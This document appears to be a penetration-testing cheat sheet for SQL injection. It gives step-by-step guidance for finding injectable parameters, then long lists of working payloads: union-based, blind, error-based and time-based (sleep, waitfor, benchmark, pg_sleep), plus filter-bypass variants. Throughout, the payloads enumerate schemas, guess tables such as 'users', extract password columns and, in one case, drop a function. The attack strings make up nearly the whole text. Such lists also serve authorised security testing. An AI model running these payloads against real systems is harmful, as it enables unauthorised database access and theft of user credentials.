SQL-Injection-cheat-sheet

First try to figure out vulnerable parameter

NOTE**: If it's a get request don't forget to url encode the characters.**

param=' --> try to get error

param=" --> try to get error

param=' or 1=1 --> try if it works

param=' or 1=0 --> check if it returns nothing

param=' and 1=1 --> check if this works or produces error

' or sleep(2) and 1=1# --> try get delay, sleep only operates when all other conditions are true and there is a requirement to operate it.

' or sleep(2)# --> try get delay

admin' and sleep(2)# --> will delay only if the user admin exists

' union select sleep(2),null# --> check if it produces delay

' union select sleep(2),null,null,null,null# --> check if it produces delay, check for different number of columns

try if above queries work by appending comment at the last

param=' or 1=1# --> try if it works

param=' or 1=1 -- one space needed --> try if it works

param=' or 1=1 // --> try if it works

param= or 1=1# --> try if it works

param=and or 1=1# --> try if it works

param=' or 1=1-- sd --> try if it works

If above queries don't work try with these sqlmap payoads:

'.)))('),.

'ghwshP<'">CZuifw

)+AND+4287=8913+AND+(7303=7303

)+AND+8680=8680+AND+(6351=6351

+AND+4573=5119

+AND+8680=8680

')+AND+9284=3986+AND+('ndfW'='ndfW

')+AND+8680=8680+AND+('juwu'='juwu

+AND+2138=DBMS_PIPE.RECEIVE_MESSAGE(CHR(83)||CHR(102)||CHR(111)||CHR(77),5)

')+AND+2138=DBMS_PIPE.RECEIVE_MESSAGE(CHR(83)||CHR(102)||CHR(111)||CHR(77),5)+AND+('VIDM'='VIDM

(SELECT+3273+FROM(SELECT+COUNT(*),CONCAT(0x716a6a7671,(SELECT+(ELT(3273=3273,1))),0x716b717071,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a)

(SELECT+CONCAT(0x716a6a7671,(SELECT+(ELT(6967=6967,1))),0x716b717071))

+AND+4920=(SELECT+UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(106)||CHR(118)||CHR(113)||(SELECT+(CASE+WHEN+(4920=4920)+THEN+1+ELSE+0+END)+FROM+DUAL)||CHR(113)||CHR(107)||CHR(113)||CHR(112)||CHR(113)||CHR(62)))+FROM+DUAL)

)+AND+7244=4397+AND+(3968=3968

)+AND+6379=6379+AND+(1483=1483

')+AND+2572=3816+AND+('alWa'='alWa

')+AND+6379=6379+AND+('mxeB'='mxeB

)+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+tsVj

+ORDER+BY+1--+UCdp

+UNION+ALL+SELECT+NULL--+UzBg

+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+ISdf

')+ORDER+BY+8048--+qQkS

')+UNION+ALL+SELECT+NULL--+TFas

')+UNION+ALL+SELECT+NULL,NULL--+EZcP

%'+ORDER+BY+1--+NSgg

%'+ORDER+BY+7605--+dZkK

%'+UNION+ALL+SELECT+NULL--+JQPp

%'+UNION+ALL+SELECT+NULL,NULL--+VtSC

+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+Lbrh

' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6b6271,IFNULL(CAST(table_name AS CHAR),0x20),0x7162627671),NULL,NULL FROM INFORMATION_SCHEMA.TABLES-- sd --> shows table_name inbetween few characers

Blind sql payloads:

' AND (select 1)=1 <-- This should be TRUE Response -- subselect supported

Guessing Table name:

' AND (select 1 from admin limit 0,1)=1 <-- FALSE

' AND (select 1 from users limit 0,1)=1 <-- TRUE ======> Table found 'users'

Guessing Columns:

' AND (select substring(concat(1,pass),1,1) from users limit 0,1)=1 <-- FALSE

' AND (select substring(concat(1,password),1,1) from users limit 0,1)=1 <-- TRUE =====> Column 'password' found.

Now determine number of columns in the current table

param=' or 1=1 order by 1#

param=' or 1=1 order by 10#

let say there are 3 columns

Now determine vulnerable columns or column which is visible

param=' or 1=0 union select null,null,null# --> if it produces no error then try

param=' or 1=0 union select 1,2,3# --> check which number shows in web page

Else try

param=' or 1=1 union select table_name,null,null from information_schema.tables#

if it produces error try table_name at other positions

Now, lets say column 1,2 are shown in web page

To futher enumerate

param=' or 1=0 union select table_schema,null,null from information_schema.columns# --> display all database name

Note 1=0 in above query to show only databases

param=' or 1=0 union select version(),null,null from information_schema.columns# --> retrieve version

param=' or 1=0 union select @@version,null,null from information_schema.columns# --> retrieve version in mssql

param=' or 1=0 union select substring(version(),1,1)=1,null,null from information_schema.columns# --> return true if version is 1.x.x

param=' or 1=0 union select substring(version(),1,1)=5,null,null from information_schema.columns# --> return true if version is 5.x.x

param=' or 1=0 union select substring(version(),3,1)=2,null,null from information_schema.columns# --> return true if version is 5.2.x

param=' or 1=0 union select table_name,null,null from information_schema.columns# --> display all table name

param=' or 1=1 select table_name,null,null from information_schema.columns where table_schema='public'# --> display tables inside public database

param=' or 1=1 select column_name,null,null from information_schema.columns where table_schema='public' and table_name='info'# --> display all columns of info table

param=' or 1=1 select table_name as table,column_name as column,null from information_schema.columns#

Let say the database name is public and table name is info

Let the table info has two columns id and name

param=' or 1=0 union select id,null,null from public.info# --> display id column from table "info"

param=' or 1=0 union select id,name,null from public.info# --> display id and name column from table "info"

param=' or 1=0 union select id,name,null from public.info where id='papa'# --> display id and name of 'papa'

BYPASSING filters

we can use case switching or commenting to bypass normal filters such as union, select

param=' or 1=0 UniOn selEct id,null,null FroM public.info#

param=' or 1=0 un//ion sele//ct id,null,null fr/**/om public.info# works in mssql

Useful Resources

http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet

http://garage4hackers.com/showthread.php?t=1990

For Oracle DB

Oracle does not have information schema and thus we need some alternatives for it. The link below can be helpful.

https://stackoverflow.com/questions/8739203/oracle-query-to-fetch-column-names

Generic SQL Injection Payloads

Generic SQL Injection Payloads

'

''

`

``

,

"

""

/

//

\

\\

;

' or "

-- or #

' OR '1

' OR 1 -- -

" OR "" = "

" OR 1 = 1 -- -

' OR '' = '

'='

'LIKE'

'=0--+

 OR 1=1

' OR 'x'='x

' AND id IS NULL; --

''''''''''UNION SELECT '2

%00

/*…*/

+	addition, concatenate (or space in url)
||	(double pipe) concatenate
%	wildcard attribute indicator
@variable	local variable
@@variable	global variable

Numeric

AND 1

AND 0

AND true

AND false

1-false

1-true

1*56

-2

1' ORDER BY 1--+

1' ORDER BY 2--+

1' ORDER BY 3--+

1' ORDER BY 1,2--+

1' ORDER BY 1,2,3--+

1' GROUP BY 1,2,--+

1' GROUP BY 1,2,3--+

' GROUP BY columnnames having 1=1 --

-1' UNION SELECT 1,2,3--+

' UNION SELECT sum(columnname) from tablename --

-1 UNION SELECT 1 INTO @,@

-1 UNION SELECT 1 INTO @,@,@

1 AND (SELECT * FROM Users) = 1

' AND MID(VERSION(),1,1) = '5';

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

Finding the table name

Time-Based:

,(select * from (select(sleep(10)))a)

%2c(select%20*%20from%20(select(sleep(10)))a)

';WAITFOR DELAY '0:0:30'--

Comments:

Hash comment

/* C-style comment

-- - SQL comment

;%00 Nullbyte

` Backtick

Generic Error Based Payloads

OR 1=1

OR 1=0

OR x=x

OR x=y

OR 1=1#

OR 1=0#

OR x=x#

OR x=y#

OR 1=1--

OR 1=0--

OR x=x--

OR x=y--

OR 3409=3409 AND ('pytW' LIKE 'pytW

OR 3409=3409 AND ('pytW' LIKE 'pytY

HAVING 1=1

HAVING 1=0

HAVING 1=1#

HAVING 1=0#

HAVING 1=1--

HAVING 1=0--

AND 1=1

AND 1=0

AND 1=1--

AND 1=0--

AND 1=1#

AND 1=0#

AND 1=1 AND '%'='

AND 1=0 AND '%'='

AND 1083=1083 AND (1427=1427

AND 7506=9091 AND (5913=5913

AND 1083=1083 AND ('1427=1427

AND 7506=9091 AND ('5913=5913

AND 7300=7300 AND 'pKlZ'='pKlZ

AND 7300=7300 AND 'pKlZ'='pKlY

AND 7300=7300 AND ('pKlZ'='pKlZ

AND 7300=7300 AND ('pKlZ'='pKlY

AS INJECTX WHERE 1=1 AND 1=1

AS INJECTX WHERE 1=1 AND 1=0

AS INJECTX WHERE 1=1 AND 1=1#

AS INJECTX WHERE 1=1 AND 1=0#

AS INJECTX WHERE 1=1 AND 1=1--

AS INJECTX WHERE 1=1 AND 1=0--

WHERE 1=1 AND 1=1

WHERE 1=1 AND 1=0

WHERE 1=1 AND 1=1#

WHERE 1=1 AND 1=0#

WHERE 1=1 AND 1=1--

WHERE 1=1 AND 1=0--

ORDER BY 1--

ORDER BY 2--

ORDER BY 3--

ORDER BY 4--

ORDER BY 5--

ORDER BY 6--

ORDER BY 7--

ORDER BY 8--

ORDER BY 9--

ORDER BY 10--

ORDER BY 11--

ORDER BY 12--

ORDER BY 13--

ORDER BY 14--

ORDER BY 15--

ORDER BY 16--

ORDER BY 17--

ORDER BY 18--

ORDER BY 19--

ORDER BY 20--

ORDER BY 21--

ORDER BY 22--

ORDER BY 23--

ORDER BY 24--

ORDER BY 25--

ORDER BY 26--

ORDER BY 27--

ORDER BY 28--

ORDER BY 29--

ORDER BY 30--

ORDER BY 31337--

ORDER BY 1#

ORDER BY 2#

ORDER BY 3#

ORDER BY 4#

ORDER BY 5#

ORDER BY 6#

ORDER BY 7#

ORDER BY 8#

ORDER BY 9#

ORDER BY 10#

ORDER BY 11#

ORDER BY 12#

ORDER BY 13#

ORDER BY 14#

ORDER BY 15#

ORDER BY 16#

ORDER BY 17#

ORDER BY 18#

ORDER BY 19#

ORDER BY 20#

ORDER BY 21#

ORDER BY 22#

ORDER BY 23#

ORDER BY 24#

ORDER BY 25#

ORDER BY 26#

ORDER BY 27#

ORDER BY 28#

ORDER BY 29#

ORDER BY 30#

ORDER BY 31337#

ORDER BY 1

ORDER BY 2

ORDER BY 3

ORDER BY 4

ORDER BY 5

ORDER BY 6

ORDER BY 7

ORDER BY 8

ORDER BY 9

ORDER BY 10

ORDER BY 11

ORDER BY 12

ORDER BY 13

ORDER BY 14

ORDER BY 15

ORDER BY 16

ORDER BY 17

ORDER BY 18

ORDER BY 19

ORDER BY 20

ORDER BY 21

ORDER BY 22

ORDER BY 23

ORDER BY 24

ORDER BY 25

ORDER BY 26

ORDER BY 27

ORDER BY 28

ORDER BY 29

ORDER BY 30

```
 ORDER BY 31337
 RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
 RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--
IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--
%' AND 8310=8310 AND '%'='
%' AND 8310=8311 AND '%'='
 and (select substring(@@version,1,1))='X'
 and (select substring(@@version,1,1))='M'
 and (select substring(@@version,2,1))='i'
 and (select substring(@@version,2,1))='y'
 and (select substring(@@version,3,1))='c'
 and (select substring(@@version,3,1))='S'
 and (select substring(@@version,3,1))='X'
Generic Time Based SQL Injection Payloads
# from wapiti
sleep(5)#
1 or sleep(5)#
" or sleep(5)#
' or sleep(5)#
" or sleep(5)="
' or sleep(5)='
1) or sleep(5)#
") or sleep(5)="
') or sleep(5)='
1)) or sleep(5)#
")) or sleep(5)="
')) or sleep(5)='
;waitfor delay '0:0:5'--
```

);waitfor delay '0:0:5'--

';waitfor delay '0:0:5'--

";waitfor delay '0:0:5'--

');waitfor delay '0:0:5'--

");waitfor delay '0:0:5'--

));waitfor delay '0:0:5'--

'));waitfor delay '0:0:5'--

"));waitfor delay '0:0:5'--

benchmark(10000000,MD5(1))#

1 or benchmark(10000000,MD5(1))#

" or benchmark(10000000,MD5(1))#

' or benchmark(10000000,MD5(1))#

1) or benchmark(10000000,MD5(1))#

") or benchmark(10000000,MD5(1))#

') or benchmark(10000000,MD5(1))#

1)) or benchmark(10000000,MD5(1))#

")) or benchmark(10000000,MD5(1))#

')) or benchmark(10000000,MD5(1))#

pg_sleep(5)--

1 or pg_sleep(5)--

" or pg_sleep(5)--

' or pg_sleep(5)--

1) or pg_sleep(5)--

") or pg_sleep(5)--

') or pg_sleep(5)--

1)) or pg_sleep(5)--

")) or pg_sleep(5)--

')) or pg_sleep(5)--

AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe

AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='

AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)

AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--

AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#

SLEEP(5)#

SLEEP(5)--

SLEEP(5)="

SLEEP(5)='

or SLEEP(5)

or SLEEP(5)#

or SLEEP(5)--

or SLEEP(5)="

or SLEEP(5)='

waitfor delay '00:00:05'

waitfor delay '00:00:05'--

waitfor delay '00:00:05'#

benchmark(50000000,MD5(1))

benchmark(50000000,MD5(1))--

benchmark(50000000,MD5(1))#

or benchmark(50000000,MD5(1))

or benchmark(50000000,MD5(1))--

or benchmark(50000000,MD5(1))#

pg_SLEEP(5)

pg_SLEEP(5)--

pg_SLEEP(5)#

or pg_SLEEP(5)

or pg_SLEEP(5)--

or pg_SLEEP(5)#

'\"

```
AnD SLEEP(5)
AnD SLEEP(5)--
AnD SLEEP(5)#
&&SLEEP(5)
&&SLEEP(5)--
&&SLEEP(5)#
' AnD SLEEP(5) ANd '1
'&&SLEEP(5)&&'1
ORDER BY SLEEP(5)
ORDER BY SLEEP(5)--
ORDER BY SLEEP(5)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)--
+benchmark(3200,SHA1(1))+'
+ SLEEP(10) + '
RANDOMBLOB(500000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
RANDOMBLOB(1000000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
Generic Union Select Payloads
 ORDER BY SLEEP(5)
 ORDER BY 1,SLEEP(5)
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5
```

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19

ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21

ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22

ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,
23

ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24

ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24,25

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30

ORDER BY SLEEP(5)#

ORDER BY 1,SLEEP(5)#

ORDER BY 1,SLEEP(5),3#

ORDER BY 1,SLEEP(5),3,4#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#

ORDER BY SLEEP(5)--

```
ORDER BY 1,SLEEP(5)--

ORDER BY 1,SLEEP(5),3--

ORDER BY 1,SLEEP(5),3,4--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--

ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--

ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-
-

ORDER BY
1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,
23--
```

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

UNION ALL SELECT 1

UNION ALL SELECT 1,2

UNION ALL SELECT 1,2,3

UNION ALL SELECT 1,2,3,4

UNION ALL SELECT 1,2,3,4,5

UNION ALL SELECT 1,2,3,4,5,6

UNION ALL SELECT 1,2,3,4,5,6,7

UNION ALL SELECT 1,2,3,4,5,6,7,8

UNION ALL SELECT 1,2,3,4,5,6,7,8,9

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28

UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29

UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30

UNION ALL SELECT 1#

UNION ALL SELECT 1,2#

UNION ALL SELECT 1,2,3#

UNION ALL SELECT 1,2,3,4#

UNION ALL SELECT 1,2,3,4,5#

UNION ALL SELECT 1,2,3,4,5,6#

UNION ALL SELECT 1,2,3,4,5,6,7#

UNION ALL SELECT 1,2,3,4,5,6,7,8#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#

